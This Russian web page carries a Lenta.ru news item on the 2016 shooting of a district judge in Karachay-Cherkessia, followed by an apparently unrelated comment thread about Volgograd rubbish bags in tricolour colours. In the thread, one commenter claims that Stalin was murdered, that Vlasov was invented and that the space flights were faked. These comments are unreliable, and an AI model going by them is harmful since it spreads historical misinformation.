Неизвестный застрелил судью в его автомобиле в Карачаево-Черкесии. Об этом в четверг, 27 октября, сообщил "Интерфаксу" представитель республиканского управления Следственного комитета России Сергей Шуваев.
По предварительным данным, около 11:30 мск судья Малокарачаевского районного суда Руслан Боташев вышел из магазина "Надежда" в селе Первомайское и сел за руль автомобиля Toyota. В этот момент к машине подошел неизвестный. Он четыре раза выстрелил в водителя из нарезного оружия, и начал уходить, однако потом вернулся и выпустил в судью еще одну пулю. После этого киллер скрылся.
От полученных ранений Боташев скончался на месте.
https://lenta.ru/news/2016/10/27/killjudge/
Народ разобрался
Коммунальщики в Волгограде собирают мусор в российский триколор
https://www.youtube.com/watch?v=cDoirk3nyHM
Кучма Николай
Хоть на что то полезное сгодился власовский триколол.
коммунист СССР Есть мнение,
коммунист СССР
Есть мнение, что Власов выдумка фальсификаторов истории ВОВ.
Антон
Антон. да всё плоское и выдуманное, а с тобой то как не выдумка?
коммунист СССР Вы читали
коммунист СССР
Вы читали книгу "Убийство Сталина и Берия"? Хрущевцы убили Сталина, наврали про космические полеты. Что необычного в фальсификации истории ВОВ?
Отправить комментарий